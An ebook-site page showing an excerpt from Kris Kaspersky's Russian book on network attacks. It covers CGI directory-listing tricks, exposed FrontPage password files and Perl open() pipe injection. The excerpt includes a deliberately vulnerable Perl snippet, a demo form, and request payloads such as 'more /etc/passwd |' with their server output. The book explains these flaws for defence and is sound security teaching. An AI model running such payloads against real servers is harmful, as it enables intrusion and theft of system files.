» » » » Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК


Авторские права

Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК

Здесь можно скачать бесплатно "Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК" в формате fb2, epub, txt, doc, pdf. Жанр: Программы. Так же Вы можете читать книгу онлайн без регистрации и SMS на сайте LibFox.Ru (ЛибФокс) или прочесть описание и ознакомиться с отзывами.
Рейтинг:
Название:
ТЕХНИКА СЕТЕВЫХ АТАК
Издательство:
неизвестно
Жанр:
Год:
неизвестен
ISBN:
нет данных
Скачать:

99Пожалуйста дождитесь своей очереди, идёт подготовка вашей ссылки для скачивания...

Скачивание начинается... Если скачивание не началось автоматически, пожалуйста нажмите на эту ссылку.

Вы автор?
Жалоба
Все книги на сайте размещаются его пользователями. Приносим свои глубочайшие извинения, если Ваша книга была опубликована без Вашего на то согласия.
Напишите нам, и мы в срочном порядке примем меры.

Как получить книгу?
Оплатили, но не знаете что делать дальше? Инструкция.

Описание книги "ТЕХНИКА СЕТЕВЫХ АТАК"

Описание и краткое содержание "ТЕХНИКА СЕТЕВЫХ АТАК" читать бесплатно онлайн.








Например, список всех остальных скриптов в текущем каталоге можно было просмотреть так: “GET /cgi-bin/test-cgi?*”. На первый взгляд, в этом ничего опасного в это нет, но на самом деле, просмотр содержимого каталогов, открывает возможность для целенаправленной атаки. В сочетании с возможностью использования перенаправления ввода в почтовых адресах, передаваемых приложению SendMail, простор содержимого директорий, приводит к угрозе целенаправленной атаки.

Пример, приведенный ниже, демонстрирует просмотр содержимого корневого каталога одного из серверов - http://www.project.aha.ru [292]. Если в адресной строке браузера набрать “http://www.project.aha.ru/cgi/test-cgi?/usr/*” [293], то ответ сервера должен выглядеть приблизительно так [294] (жирным шрифтом выделено содержимое поля QUERY_STRING, возвращающее результат обработки запроса):

·

GET /cgi-bin/test-cgi?/*
· CGI/1.0 test script report:
·
· argc is 1. argv is /\*.
·
· SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU
· SERVER_NAME = home.project.aha.ru
· GATEWAY_INTERFACE = CGI/1.1
· SERVER_PROTOCOL = HTTP/1.1
· SERVER_PORT = 80
· REQUEST_METHOD = GET
· HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */*
· PATH_INFO =
· PATH_TRANSLATED =
· SCRIPT_NAME = /cgi-bin/nph-test-cgi
· QUERY_STRING = /6 /8 /bin /boot /bzImage-2.0.35 /bzImage-2.2.11 /bzImage-2.2.11-2 /bzImage-2.2.12 /cdrom /dev /etc /floppy /home /initrd /lib /lost+found /mnt /oak /proc /root /sbin /tmp /usr /var
· REMOTE_HOST = ppp-09.krintel.ru
· REMOTE_ADDR = 195.161.41.233
· REMOTE_USER =
· CONTENT_TYPE =
· CONTENT_LENGTH =

Проблему решили установкой кавычек вокруг “$QUERY_STRING” [295]. Какое-то время это сдерживало злоумышленников, но инерция мышления подвела разработчиков и на этот раз. Считалось, что “$QUERY_STRING”, это единственный параметр, который передается серверу пользователем, поэтому на все остальные не обратили никакого внимания. Но оказалось, что большинство серверов (включая самый распространенный из них - Apache) не проверяют синтаксической корректности содержимого поля «версия HTTP», указываемой при передаче запроса. В результате этого появляется возможность подставить вместо нее любую строку, например, “/etc/*”. Демонстрация такой атаки приведена ниже [296] (жирным шрифтом выделено поле “SERVER_PROTOCOL”, которое при нормальном развитии событий должно содержать версию HTTP, используемую клиентом, а в данном случае список файлов и папок директории “/etc”):

· GET /cgi-bin/nph-test-cgi?* /usr/*
·
· HTTP/1.0 200 OK
· Content-type: text/plain
·
· Server: Apache/1.3.0 (Unix) Debian/GNU
·
· CGI/1.0 test script report:
·
· argc is 1. argv is \*.
· SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU
· SERVER_NAME = biophys.urcrm.chel.su
· GATEWAY_INTERFACE = CGI/1.1
· SERVER_PROTOCOL = /usr/7 /usr/X11R6 /usr/bin /usr/dict /usr/doc /usr/games /usr/include /usr/info /usr/lib /usr/local /usr/lost+found /usr/man /usr/sbin /usr/share /usr/src
· SERVER_PORT = 80
· REQUEST_METHOD = GET
· HTTP_ACCEPT =
· PATH_INFO =
· PATH_TRANSL
· ATED = SCRIPT_NAME = /cgi-bin/nph-test-cgi
· QUERY_STRING = 1.pgsql 2.pgsql 2.pgsql~DEADJOE archie calendar capture date dwww-fig finger fortune htsearch imagemap
· info2www-fig log logging.cgi~ log~ mailto.pl nph-test-cgi php3 test-cgi test-env
· uptime wais.pl www-pgsql wwwcount.cgi
· REMOTE_HOST = ppp-18.krintel.ru
· REMOTE_ADDR = 195.161.41.242
· REMOTE_USER =
· CONTENT_TYPE =
· CONTENT_LENGTH =

После исправления этой ошибки, настал черед “REMOTE_USER”, “CONTENT_TYPE”, “USER_AGENT” и т.д.

Отсюда вытекает ряд неутешительных заключений. Нельзя полагаться ни на какие стандартные библиотеки и творения сторонних разработчиков. Массовость и идентичность - вот основное оружие злоумышленников. Чтобы исследовать скрипт, прежде всего, необходимо получить его исходный код. На правильно сконфигурированном сервере это невозможно, но никакая защита не в состояние предотвратить анализ общедоступных программ. А, получив в свое распоряжение общедоступный скрипт, злоумышленник может попытаться обнаружить содержащиеся в нем ошибки. А, обнаружив, атаковать жертву, использующую такой скрипт.

Возникает противоречивая ситуация. Программировать самому не рекомендуется, ввиду отсутствия у подавляющего большинства необходимого опыта и навыков создания безопасных приложений. Но и фирменные разработки не застрахованы от ошибок. Так, поистине огромное количество ошибок содержится в расширениях к FrontPage (FPE).

Врезка «информация»

При установке FrontPage 1.1, файлы /_vti_pvt.administrator.pwd, /_vti_pvt/authors.pwd и /_vti_pvt/service.pwd по умолчанию становятся общедоступными и не требуют от пользователя авторизации.

Врезка «Информация»

После установки FPE на Apache, открывается доступ к директории /_vti_bin, с правами записи и исполнения файлов даже для неавторизированных пользователей.

Интуитивно кажется, - свои скрипты должны оказаться надежнее: какие бы ошибки не были допущены, недоступность исходного текста программы не позволит злоумышленнику их обнаружить (или, по крайней мере, чрезвычайно затруднит их поиск). Однако практика доказывает обратное. И не удивительно, - ведь программисты склонны к одним и те же типовым ошибкам.

С рассмотрения одной из них и началась эта глава (передача почтальону SendMail адреса, введенного пользователем). Разработчики часто используют вызов внешних программ для выполнения тех действий, реализовывать которые в самом скрипте было бы невозможно или чрезвычайно затруднительно. Опасность такого подхода заключается в том, что практически любое приложение обладает рядом недокументированных особенностей, и порой способно к непредсказуемому поведению. А это может быть использовано для проникновения на компьютер жертвы или его блокирования.

Если же полностью отказаться от использования внешних программ невозможно, рекомендуется выполнять фильтрацию ввода пользователя - до передачи данных внешней программе проанализировать их содержимое, проверяя корректность ввода пользователя. Фильтрацию желательно осуществлять во всех случаях, и контролировать все данные, даже никак не связанные с пользователем. Любые данные должны быть тщательно проверены до того, как они будут использованы. Очень распространенная ошибка - вызов служебной подпрограммы, оформленной в виде отдельного скрипта с передачей аргументов в командной строке. Многие разработчики склонны полагать, что такой скрипт всегда вызывается только их кодом, и забывают о проверке параметров.

Если таким образом попытаться открыть (и прочитать) файл, переданный как параметр, злоумышленник сможет выполнить любой код на сервере, от имени уязвимой программы. Причина заключается в том, что функция “open” языка Perl (на котором написано подавляющее большинство скриптов) интерпретирует символ “|” как конвейер и позволяет выполнить любую команду. Например, “open(H,”File |”)”, приведет к запуску, а не открытию файла “File”.

Вышесказанное демонстрирует фрагмент кода, приведенный ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/open.pl”):

· open(FX,"$file");
· while («FX»)
· {
· print;
·}

Если значение переменной “$file” передается в командной строке (или через переменные окружения), злоумышленник получает возможность изменять его по своему усмотрению! Для проведения экспериментов можно воспользоваться следующим HTML-кодом, который размещен на сервере http://hpnc.webprovider.com/open.htm

· «html»
·
· «head»
· «title»OPEN's Demo«/title»
· «/head»
·
· «body»
· «H1»«CENTER»OPEN's Demo«/h1»«/center»
· «HR»
· «div align="center"»
· «form method="POST" action="open.pl"»
· «br»Enter file name or "command |"«br»«br»
· «input type="text" size="60" maxlength="200" name="file" value="echo Hello,Sailor! |"»
· «input type="submit" value="Exec"»
· «/form»
· «/div»
· «HR»
· «/body»
·
· «/html»

Если в качестве имени файла указать “echo Hello,Sailor! |”, спустя мгновение приветствие «Hello, Sailor» отобразится в окне браузера, подтверждая своим появлением успешность выполнения команды “echo”.

А для просмотра содержимого корневого каталога достаточно ввести команду “ls * |”, результат работы которой может выглядеть, например, так:

· apache

· bin

· boot

· cdrom

· dev

· disk1

· etc

· floppy

· home

· httpd

· usr

Узнать, какие файлы и подкаталоги находятся в директории “/bin” (в тексте ее имя выделено жирным шрифтом), можно с помощью следующей команды: “ls /bin/* |”, результат работы которой показан ниже:

· ae arch bash buildh cat

· chgrp chmod chown chsh cp

· cpio cptar cptar~ csh date

· dbish dd df dir dmesg

· echo ed egrep false fdflush

· fgrep fuser grep gsu gunzip

· gzip hostname htp2ftp.pl htp2ftp.pl~ httpd

· i8sql kill ksh ln loadkeys

· login ls mkdir mknod mktemp

· more mount mt mv netstat

· pico ping ps pwd rbash

· rm rmdir rsh run-parts sed

· setserial sh sleep stty su

· sync tar tcsh tempfile texhash

· true umount uname uncompress vdir

· vi vworld xem xem~ zcat

Любой их этих файлов может быть запущен аналогичным способом. Так, например, утилита “more” (ее имя выделено жирным шрифтом) позволяет просмотреть содержимое файла “/etc/passwd”, или любого другого файла указанного в командной строке. Это может выглядеть так:

· GET open.pl?more%20/etc/passwd%20|

·:::::::::::::: /etc/passwd::::::::::::::

· root:x:0:0:root:/root:/bin/bash

· daemon:x:1:1:daemon:/usr/sbin:/bin/sh

· bin:x:2:2:bin:/bin:/bin/sh

· sys:x:3:3:sys:/dev:/bin/sh

· sync:x:4:100:sync:/bin:/bin/sync

· games:x:5:100:games:/usr/games:/bin/sh

· man:x:6:100:man:/var/catman:/bin/sh

· lp:x:7:7:lp:/var/spool/lpd:/bin/sh

· mail:x:8:8:mail:/var/spool/mail:/bin/sh


На Facebook В Твиттере В Instagram В Одноклассниках Мы Вконтакте
Подписывайтесь на наши страницы в социальных сетях.
Будьте в курсе последних книжных новинок, комментируйте, обсуждайте. Мы ждём Вас!

Похожие книги на "ТЕХНИКА СЕТЕВЫХ АТАК"

Книги похожие на "ТЕХНИКА СЕТЕВЫХ АТАК" читать онлайн или скачать бесплатно полные версии.


Понравилась книга? Оставьте Ваш комментарий, поделитесь впечатлениями или расскажите друзьям

Все книги автора Крис Касперский

Крис Касперский - все книги автора в одном месте на сайте онлайн библиотеки LibFox.

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Отзывы о "Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК"

Отзывы читателей о книге "ТЕХНИКА СЕТЕВЫХ АТАК", комментарии и мнения людей о произведении.

А что Вы думаете о книге? Оставьте Ваш отзыв.